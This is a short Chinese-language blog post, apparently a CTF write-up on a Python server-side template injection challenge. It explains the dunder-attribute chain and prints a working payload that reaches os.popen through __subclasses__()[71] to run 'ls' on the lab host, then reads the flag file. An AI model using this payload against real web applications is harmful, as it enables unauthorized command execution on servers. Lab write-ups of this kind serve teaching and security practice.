攻防世界之python模板注入

感受那份空灵,感受那份寂静,全身心的去享受,享受虚拟中的快乐!

今天刷ctf时候看见一个模板注入,注入类的漏洞一般都很值钱,我肯定直接进去来一手喽。

进入之后网站就写着python template injection,按照习惯我们去index看看

既然是python注入我们就来向python的代码去想,这里我构建一个简单的乘法语句5*5,果然被忠诚的执行了

接下来我就打算来利用这个漏洞了,想办法来提权。这里通过百度我找到os.system和os.popen这两个语法可以提权。前者脚本的退出状态码,后者是输出的内容。查找flag当然选择后者了。开始前我先把我收集到的魔术方法列一下。

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

我们先来篮下他返回所有的基类进行一个列出(很多但是不要怕我们只需要我们的os中的`site._Printer类)他是在第71个别问我为什么是71,问就是数出来的。
这时我们就可以用__subclasses__()[71].__init__.__globals__[‘os’].popen(‘命令行语句’).read()来调用服务器的控制台了

然后就来调用它这里我先初始化他然后列出他所有文件直接找我想要的flag文件

http://220.249.52.133:31082/index.php{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

然后我们直接cat fl4g就可以得到flag了嘿嘿

这个的逻辑很简单就是个数据查找,开发智力不错

留下评论